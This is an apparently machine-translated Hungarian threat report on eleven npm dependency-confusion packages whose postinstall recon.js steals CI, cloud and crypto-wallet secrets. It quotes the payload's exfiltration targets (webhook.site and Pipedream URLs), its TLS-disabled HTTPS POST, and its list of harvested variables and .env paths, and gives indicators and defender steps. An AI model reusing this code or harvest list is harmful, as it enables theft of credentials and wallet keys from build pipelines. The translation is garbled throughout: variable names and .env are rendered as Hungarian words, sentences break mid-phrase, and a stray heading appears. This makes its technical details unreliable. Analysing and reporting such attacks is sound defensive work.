TL, DR
2026. június 17-én egyetlen npm fiók került közzétételre. tizenegy csomag, amelyek egy célt és egy hasznos hasznos anyagot osztanak megTízen közülük hordozzák a cryptodao- előtag (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); a tizenegyedik a hatókörbe tartozó @public-for-cdao/coreMindegyik verzióban jelent meg. 99.99.99 és bájtazonos recon.js ami folyik postinstall.
A nevek árulkodóak. Úgy olvashatók, mint egy kripto/DAO projekt privát eszköztárának belső építőelemei. Mesterségesen magas verzióban közzétéve a nyilvános npm nyilvántartásban, várakoznak egy buildre. pipeline amely úgy van konfigurálva, hogy feloldja ezeket a neveket, és amely a nyilvános npm-et a privát beállításjegyzék előtt – vagy helyett – éri el. Ez az függőségi zavar, és a hasznos teher pontosan arra van hangolva, hogy hova várhatóan landol: CI/CD futók.
Amikor postinstall tüzek, recon.js begyűjti a hoszt adatait, nagyjából átfésüli negyven felhő-, CI- és kriptovaluta-környezeti változó, bármilyen .env fájlokat, amelyeket megtalál, és szó szerint továbbítja a titkot tartalmazó sorokat, majd elküldi a köteget két gyűjtőnek — webhook.site és egy Pipedream végpont – letiltott TLS tanúsítvány-ellenőrzéssel. Egy másolat a következő címen is található: /tmp.
A súlyosság: nagyÉrintett ökoszisztéma: NPMMind a tizenegy csomag aktív volt az írás pillanatában.
Támadás anatómiája
A mechanizmusnak négy mozgó része van, és egyik sem válik észrevétlenné, ha egyszer megtanulod használni. nézz egy réteggel a csomag neve után.
1. A verzióinfláció, mint feloldó csali. Minden csomag deklarálja a verziót 99.99.99A függőségi zavar akkor jelentkezik, amikor egy csomagkezelő egy belső név, ellenőrzi a nyilvános rendszerleíró adatbázist is, és kiválasztja a legmagasabb verziót Az npm alapértelmezett beállítása egy kalap vagy helyettesítő karakteres tartományhoz a következő: a legkielégítőbb verzió minden konfigurált forrásban; ha mindkettő egy privát Ha a registry és a public npm válasz ugyanarra a névre vonatkozik, a nagyobb verziószámú nyer. A 99.99.99 lényegében felülmúlja a projekt bármely valódi belső verzióját elérve, így egy olyan feloldó, amely nincs a privát forráshoz rögzítve, a nyilvános – és ebben az esetben ellenséges – másolat. A kezelőnek nem kell ismernie a a célpont valódi verziószámai; egy abszurd maximum kiválasztása mindig garantálja a döntetlent törik az útjukat.
2. Telepítés utáni eseményindító. csomag.json a hasznos terhet a telepítéshez csatlakoztatja életciklus:
{ "scripts": { "postinstall": "node recon.js" } } Nincs szükség a csomag importálására. Csak telepíteni kell – amit egy konfigurációs interfész (CI) végez. pipeline automatikusan működik — lefut recon.js.
3. Széleskörű titkos seprés. recon.js szakaszokban állítja össze az eredménytömböt:
- Gazdagép kontextusa: gazdanév, platform és kiadás, architektúra, felhasználónév, működő könyvtárban.
- Környezeti változók: egy körülbelül negyven névből és rekordból álló fix listát iterál bármelyik beállítva. A lista árulkodó – generikus CI tokeneket párosít (CI_JOB_TOKEN, CI_REGISTRY_JELSZÓ, GITLAB_ACCESS_TOKEN) és felhő hitelesítő adatok (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) beállításjegyzékbeli és konténertitkokkal (NPM_TOKEN, DOCKER_JELSZÓ, KIKÖTŐ_JELSZÓ) és egy határozottan kriptovalutákra jellemző klaszter: PRIVATE_KEY, EMLÉKEZETERŐSÍTŐ, MAGKIFEJEZÉS, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCA rögzített értékeket az első 50 karakterre csonkolja a rendszer.
- .NS fájlok: egy elérési utak listáját vizsgálja meg — .NS, ../.környezet, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, és a .Termelés/.fejlesztés változatok – és minden létező fájl esetében a tartalmat a sorok illeszkedésére szűri KULCS|TITKOS|JELZŐ|JELENTKEZÉS|MAGÁN|MEMEMONIKUS és ezeket a sorokat **teljes egészében, csonkítatlanul** beilleszti az eredményekbe.
- Build-host kontextus: felsorolja a következő első 20 bejegyzést: /épít/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/és / tmp /.
Az elérési út és a változólista a GitLab futtatókhoz képest súlyozott, ami rámutat a hasznos teher közvetlenül a saját üzemeltetésű CI infrastruktúránál, nem pedig egy fejlesztőnél laptop. A betakarítási lista kategóriák szerinti csoportosítása egyértelművé teszi a tervezett fogást:
| Kategória | Elért változók / elért útvonalak |
|---|---|
| CI/CD identitás és telepítés | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| felhő | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Nyilvántartás és konténer | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Adattárak | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / blokklánc | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Üzenetek | SLACK_TOKEN, DISCORD_TOKEN |
| Lemezen | .env család + /home/gitlab-runner/.env, /root/.env, /app/**/.env; a következő címtárlistái: /builds/, /var/lib/gitlab-runner/ |
A kriptoklaszter az a rész, ami megkülönbözteti ezt egy általános CI-titoktól. sweep: a tárca kezdőmondatai és aláírási kulcsai csak egy környezetében jelennek meg blokklánc projekt, és közvetlenül a kriptodao-/aláír/szerződések a szállítók elnevezése.
4. Kettős kiszűrés letiltott ellenőrzéssel. Az összegyűjtött tömb szerializált és két célállomásra POST-olt:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) elutasításUnauthorized: hamis kikapcsolja a TLS tanúsítványellenőrzéseket a kimenő forgalomhoz hívások. Ugyanezek az adatok kerülnek kiírásra a standard kimenetre (így a CI munkanaplókba is kerülnek) és írt /tmp/.npm_recon_ .json fájlA hibákat csendben lenyeli a rendszer, így egy sikertelen küldés egyetlen karakteren kívül nem hagy nyomot a telepítési kimenetben [felderítés] telepítve vonal.
A fájl egyik vezető megjegyzése „függőségi zavarként” írja le. „Felderítő hasznos teher.” A környezeti értékek 50 karakterre csonkolása megtörtént. a koncepcióbizonyítás alakja. Ami túlmutat egy kizárólag jelenlét-alapú jelzőn, az az .NS kezelés: a titkos információkat hordozó vonalak teljes egészében továbbításra kerülnek, a célállomások pedig két működő, támadó által irányított gyűjtő, nem pedig egy olyan mosogató, ami csak slágerek.
Network TwentyOne Global
A közzétételi minta egyetlen szkriptelt push aláírása, nem tizenegy. független feltöltések.
| Idő (UTC, 2026-06-17) | esemény |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 közzétett |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — célzott változat, ~24 perccel később |
Tíz csomag ment ki egy 29 másodperces ablakon belül, nagyjából három másodpercenként egy. A vizsgált terület @public-for-cdao/core körülbelül 24 perccel később következett – egy másodperccel később elnevezési konvenció ugyanarra a célra, abban az esetben, ha a felhasználó projekt a belső eszközlánc hatókör alatt, nem pedig puszta nevek alatt.
A kompromisszum mutatói
| típus | Mutató |
|---|---|
| Gyűjtő | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Gyűjtő | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Szerelje fel a horgot | postinstall: node recon.js |
| Eldobott fájl | /tmp/.npm_recon_<timestamp>.json |
| Naplójelölő | [recon] <pkg>@<ver> installed on <hostname> (stdout a CI naplókban) |
| viselkedési | rejectUnauthorized: false kimenő HTTPS-en a telepítés során |
| Hasznos teher | recon.js, mind a tizenegy csomagban azonos (egy megosztott build) |
| Változat | 99.99.99 minden csomagon |
| Csomagok | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (minden 99.99.99) |
| kiadó | aduljune / aduljune@proton.me (e-mail cím ellenőrizetlen, nincs csatolt forrásadatbázis) |
Tulajdonítás és megfigyelt viselkedés
A klaszterrel kapcsolatos minden egy kézre mutat. Mind a tizenegy csomagot közzétették. az npm-fiók által aduljune (aduljune@proton.me, egy ellenőrizetlen cím, amelyen nincs csatolt forráskódú adattár), 25 perces időintervallumon belül, ugyanabban az időben 99.99.99 változat, szállítás egy recon.js amelynek tartalma bájtról bájtra megegyezik minden csomag (az MD5 mind a tizenegy kibontott másolatban egyezik). Ez egy hasznos adat. névlistára bélyegezve, nem független kód-újrafelhasználás.
A névlista határozza meg a kívánt célt. kriptodao-* és a cdao írd le a egy kripto/DAO projekt privát moduljának elrendezése és a hasznos adatok betakarítási listája tükrök, amelyek találgatnak: az általános CI és felhőalapú titkok mellett kifejezetten nyúl PRIVATE_KEY, EMLÉKEZETERŐSÍTŐ, MAGKIFEJEZÉS, és Ethereum/BSC RPC és szolgáltatói kulcsok. A .NS a keresési útvonalak és a könyvtárlisták GitLab-runnerrel vannak futtatva specifikus. A megfigyelhető hatás az, hogy bármely pipeline becsapva telepítették ezeket a nevek továbbítanák a CI-tokenjeit, felhőkulcsait és a lemezen lévő adatait .NS titkok – és azért is egy blokklánc projekt, annak tárca anyaga – két harmadik féltől származó gyűjtőnek.
Nem vállalunk felelősséget a számlát üzemeltető személyekkel, illetve azzal kapcsolatban, hogy mit terveztek tenni vele. adatok. Az önmagukban is megállják a helyüket a tények: a nevek egy adott típusú belső eszközlánc, a hasznos adat valódi titkos értékeket olvas és továbbít, és a Az infrastruktúra élve működött.
Hatás, trendek és a védők útmutatása
Függőségi zavar továbbra is hatékony, mert a feloldó viselkedését használja ki, nem pedig egy sebezhetőség bármely csomagban. A hordozó itt triviális – tizenegy majdnem üres csomagok – de a robbanási sugár tetszőleges pipeline tévesen a nyilvános npm-et részesíti előnyben egy belső névhez. A CI futtatók a legrosszabb helyek erre: ők tartják pontosan a tokenek és .NS fájlok, amelyeket ez a hasznos adat beolvas, és telepítik azokat függőségek nem interaktív módon, tehát egy telepítés után fut anélkül, hogy bárki is figyelné.
Ez a klaszter is illik egy olyan mintázathoz, amit folyamatosan látunk: telepítési idejű hasznos adatok, amelyek jelen vannak „kutatásként” vagy „felderítésként” kezelik, miközben valódi képesítéseket gyűjtenek. A címke a fájlban nem változtatja meg a kód működését a futón. Két tervezési lehetőség marad a tevékenység csendes: minden hálózati és fájlrendszeri művelet egy kivételkezelő, amely elveti a hibákat, például a blokkolt küldést vagy a hiányzó fájlt nem ad diagnosztikai kimenetet, és az egyetlen kinyomtatott dolog egyetlen ártalmatlan [felderítés] … telepítve A szokásos telepítési zörejbe olvadó sor. webhook.site és a Pipedream is szándékosan a kényelem része – mindkettő ingyenes, azonnal kiépített kérés-rögzítési szolgáltatások, így az operátornak nincs szüksége szerverekre a sajátjuk és a célállomások a kimenő naplókban úgy néznek ki, mint a szokásos SaaS-hosztnevek.
A gazdasági szempontok teszik ezt érdemessé egy védő figyelmére, annak ellenére, hogy a A szolgáltatói kód triviális. Tizenegy név regisztrálása semmibe sem kerül, a hasznos teher egy fájl tizenegyszer lemásolva, és a csomagkezelő végzi az összes végrehajtást. Egyetlen rosszul konfigurált pipeline bárhol, ahol ezek közül a nevek közül egyet is fogyasztanak, az egészet fizeti. működését.
Konkrét lépések a védők számára:
- Belső hatókörök rögzítése a privát beállításjegyzékhez. Az npm konfigurálása belső nevek használatával
és a hatókörök csak a beállításjegyzékhez viszonyítva oldódnak fel (hatókörön belüli .npmrc beállításjegyzék-leképezések, vagy egy proxy, amely soha nem jut el a nyilvános npm-hez a tulajdonolt névterek esetén). Foglalja le a nyilvános hatókörű neveit, hogy senki más ne regisztrálhassa azokat.
- Commit lockfiles és telepítés az –ignore-scripts kapcsolóval CI-ben ahol lehetséges, vagy Ellenőrizd a függőségek azon kis halmazát, amelyekhez valóban telepítő szkriptekre van szükség. A recon.js nem futtatható, ha telepítés után nincs végrehajtva.
- Kezelje a belső megjelenésű név 99.99.99-es (vagy más abszurd módon magas) verzióját vörös zászlóként a függőségek áttekintésében és a nyilvántartás-monitorozásban.
- Riasztás a telepítési idejű kimenő adatforgalomról. A telepítés után amely megnyit egy kimenő HTTPS-kapcsolatot kapcsolat – különösen letiltott tanúsítvány-ellenőrzés esetén – a következőhöz: A webhook.site, a Pipedream vagy hasonló kérésrögzítő szolgáltatásokat érdemes blokkolni a hálózat szélén, és megjelölni a build naplókban.
- Vadászd meg a leleteket. Ellenőrizze a futókat /tmp/.npm_recon_*.json és a [felderítés] … telepítve a … jelölőre a legutóbbi CI-naplókban. Ha megtalálta, forgatás minden hitelesítő adat ki van téve annak pipeline — CI-tokenek, felhőkulcsok, rendszerleíró adatbázis-tokenek, valamint a környezetben vagy az .env fájlokban található pénztárca-vetőértékek vagy privát kulcsok.
Referenciák
Az írás időpontjában nem létezett külső jelentés erről a klaszterről; az elemzés a fentiek közvetlenül a közzétett csomag tartalmán alapulnak.




